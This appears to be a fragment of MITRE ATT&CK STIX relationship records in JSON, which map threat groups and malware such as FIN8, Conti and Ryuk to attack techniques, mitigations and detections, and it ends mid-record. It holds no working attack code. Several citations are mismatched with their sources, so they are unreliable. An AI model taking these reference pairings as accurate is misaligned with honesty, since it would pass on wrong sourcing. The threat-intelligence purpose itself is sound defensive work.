{"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f8ff17c3-2921-40c2-b4a9-19ee7678397a", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"}], "modified": "2019-03-22T20:21:57.791Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has deleted Registry keys during post compromise cleanup activities.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f90759fc-14cb-4f29-a2b6-221d6fb0e884", "type": "relationship", "created": "2021-04-07T18:07:47.942Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Hildegard Malware", "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/", "description": "Chen, J. et al. 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(2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has attempted to lure users to click on a malicious link within a spearphishing email.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T15:25:39.257Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9911b03-f413-483b-b228-f5a82657c2d1", "type": "relationship", "created": "2022-01-05T15:37:40.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/winnti-more-than-just-a-game/37029/", "description": "Kaspersky Lab's Global Research and Analysis Team. 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Retrieved December 3, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:57:20.547Z", "description": "[AuditCred](https://attack.mitre.org/software/S0347) encrypts the configuration.(Citation: TrendMicro Lazarus Nov 2018)", "relationship_type": "uses", "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9a82ef5-524a-4b95-a9b5-560e61f3d2fa", "type": "relationship", "created": "2021-02-25T01:55:40.902Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Conti Jan 2021", "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", "description": "Rochberger, L. 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Retrieved February 17, 2021."}], "modified": "2021-02-25T01:55:40.902Z", "description": "[Conti](https://attack.mitre.org/software/S0575) has used API calls during execution.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020) ", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f9aa88f9-353c-4cc0-8d58-b5b4b00bfff2", "created": "2021-03-01T21:23:22.759Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. 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Retrieved February 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Meteor](https://attack.mitre.org/software/S0688) can use group policy to push a scheduled task from the AD to all network machines.(Citation: Check Point Meteor Aug 2021)", "modified": "2022-04-13T11:29:20.314Z", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f9bcef0c-01a5-4fd8-a6f1-8423b5e98e52", "created": "2022-03-23T20:35:57.941Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET CaddyWiper March 2022", "url": "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine", "description": "ESET. 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Retrieved September 15, 2021.", "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-05T21:14:46.101Z", "description": "(Citation: Crowdstrike EvilCorp March 2021)(Citation: Microsoft Ransomware as a Service)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9d59358-17e0-44fe-8d59-fd534c9afc6b", "type": "relationship", "created": "2022-03-30T14:26:51.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.871Z", "description": "Monitoring changes to the Windows Registry may reveal malicious attempts to modify trust settings, such as the installation of root certificates. Installed root certificates are located in the Registry under\u00a0<code>HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\</code>\u00a0and\u00a0</code>[HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\</code>. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:\u00a0(Citation: Tripwire AppUNBlocker) Also consider enabling the Registry Global Object Access Auditing (Citation: Microsoft Registry Auditing Aug 2016)\u00a0setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers:(Citation: Microsoft Audit Registry July 2012) ", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Tripwire AppUNBlocker", "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"}, {"source_name": "Microsoft Registry Auditing Aug 2016", "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.", "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)"}, {"source_name": "Microsoft Audit Registry July 2012", "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.", "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9d9b5aa-f4d6-46fc-8831-21ca405ab8e5", "type": "relationship", "created": "2020-11-10T15:39:49.352Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."}, {"source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."}], "modified": "2020-11-10T15:46:09.219Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has injected malicious DLLs into memory with read, write, and execute permissions.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9db15af-c5c9-4978-bcf8-0c02a5dce618", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f9dc35b9-5cf9-4dbf-a1fd-698c95c047c5", "created": "2022-10-13T15:42:02.324Z", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-13T15:42:02.324Z", "description": "During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), threat actors installed [Rising Sun](https://attack.mitre.org/software/S0448) in the Startup folder and disguised it as `mssync.exe`.(Citation: McAfee Sharpshooter December 2018)", "relationship_type": "uses", "source_ref": "campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9deebbf-5710-4e54-b4be-83404cee35da", "type": "relationship", "created": "2020-06-29T22:23:14.216Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-14T22:22:00.044Z", "description": "Use application control to mitigate installation and use of unapproved virtualization software.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f9e62f6d-a091-44a9-91e6-3660b89ba2b9", "created": "2019-07-19T14:37:37.517Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit 42 Palo Alto Ransomware in Public Clouds 2022", "description": "Jay Chen. (2022, May 16). A Look Into Public Clouds From the Ransomware Actor's Perspective. Retrieved March 21, 2023.", "url": "https://unit42.paloaltonetworks.com/ransomware-in-public-clouds/"}, {"source_name": "Ready.gov IT DRP", "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", "url": "https://www.ready.gov/business/implementation/IT"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-21T16:42:22.826Z", "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. In cloud environments, enable versioning on storage objects where possible, and copy backups to other accounts or regions to isolate them from the original copies.(Citation: Unit 42 Palo Alto Ransomware in Public Clouds 2022)", "relationship_type": "mitigates", "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9ec1b10-f819-42d8-a4b4-ecf015999cb6", "type": "relationship", "created": "2019-07-09T17:54:21.025Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "source_name": "Unit42 Emissary Panda May 2019"}], "modified": "2021-10-12T19:21:39.354Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited MS17-010 to move laterally to other systems on the network.(Citation: Unit42 Emissary Panda May 2019)\t", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9ed8046-c00b-4d8a-a8d2-833f45f1dfcb", "type": "relationship", "created": "2020-02-20T18:39:33.170Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-15T19:55:01.697Z", "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f9f9a03b-107a-4cba-ad4e-39d9424da100", "created": "2024-03-05T18:28:11.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge January 2024", "description": "McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}, {"source_name": "Volexity Ivanti Zero-Day Exploitation January 2024", "description": "Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.", "url": "https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T21:08:09.873Z", "description": "[WIREFIRE](https://attack.mitre.org/software/S1115) can modify the `visits.py` component of Ivanti Connect Secure VPNs for file download and arbitrary command execution.(Citation: Mandiant Cutting Edge January 2024)(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)", "relationship_type": "uses", "source_ref": "malware--c93e3079-43fb-4d8d-9e99-db63d07eadc9", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9fb0958-7f80-4bd5-80c2-9665124f1d0e", "type": "relationship", "created": "2019-04-23T16:12:37.629Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2019-09-16T17:23:48.960Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) contains a module for taking packet captures on compromised hosts.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f9fc4a7b-e8ba-4e50-b97f-9afabcfc73a8", "type": "relationship", "created": "2020-10-01T13:33:13.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-10-01T13:33:13.867Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa0217c0-038b-44ed-8e16-f23ceb01b6a8", "type": "relationship", "created": "2021-06-25T12:51:12.413Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CyberArk Labs Safe Mode 2016", "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise", "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021."}], "modified": "2021-08-31T14:51:49.475Z", "description": "Ensure that endpoint defenses run in safe mode.(Citation: CyberArk Labs Safe Mode 2016)", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--28170e17-8384-415c-8486-2e6b294cb803", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa035513-59b6-4f54-8b85-13ec08849453", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Felismus Mar 2017", "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"}], "modified": "2020-03-30T18:52:30.793Z", "description": "Some [Felismus](https://attack.mitre.org/software/S0171) samples use a custom encryption method for C2 traffic that utilizes AES and multiple keys.(Citation: Forcepoint Felismus Mar 2017)", "relationship_type": "uses", "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa049cca-da7d-4d89-ac34-cab537ce0235", "type": "relationship", "created": "2020-05-14T14:38:22.633Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."}], "modified": "2020-05-14T14:38:22.633Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has attempted to adjust its token privileges to have the <code>SeDebugPrivilege</code>.(Citation: CrowdStrike Ryuk January 2019)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shell Crew Feb 2017", "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}], "modified": "2020-03-19T22:02:49.025Z", "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to remotely execute commands.(Citation: Cylance Shell Crew Feb 2017)", "relationship_type": "uses", "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa0622d6-2b58-476f-9c57-e629785b0415", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/", "description": "Sherstobitoff, R. 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Retrieved June 29, 2021."}], "modified": "2021-08-19T18:19:50.825Z", "description": "[Nebulae](https://attack.mitre.org/software/S0630) can use RC4 and XOR to encrypt C2 communications.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fa4c9d5a-3329-4138-b6e1-990cd7935b87", "created": "2024-03-14T17:48:36.425Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-12T23:51:35.138Z", "description": "Consider disabling unnecessary remote connection functionality, including both unapproved software installations and specific features built into supported applications.", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fa50bbff-2f2f-47a8-b295-588e61b76a77", "created": "2023-02-14T18:26:17.408Z", "revoked": false, "external_references": [{"source_name": "MalwareBytes WoodyRAT Aug 2022", "description": "MalwareBytes Threat Intelligence Team. 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Retrieved December 6, 2022.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-14T18:26:17.408Z", "description": "[Woody RAT](https://attack.mitre.org/software/S1065) can use AES-CBC to encrypt data sent to its C2 server.(Citation: MalwareBytes WoodyRAT Aug 2022) ", "relationship_type": "uses", "source_ref": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa5b5933-f9e3-4bbb-b734-f1c5984ded97", "type": "relationship", "created": "2022-03-01T15:53:51.450Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FinFisher exposed ", "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/", "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022."}], "modified": "2022-03-01T21:32:40.322Z", "description": "[FinFisher](https://attack.mitre.org/software/S0182) has used the <code>KernelCallbackTable</code> to hijack the execution flow of a process by replacing the <code>__fnDWORD</code> function with the address of a created [Asynchronous Procedure Call](https://attack.mitre.org/techniques/T1055/004) stub routine.(Citation: FinFisher exposed )", "relationship_type": "uses", "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", "target_ref": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fa6292a2-c184-4bc9-a37f-0c1ac61e1135", "type": "relationship", "created": "2017-05-31T21:33:27.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A 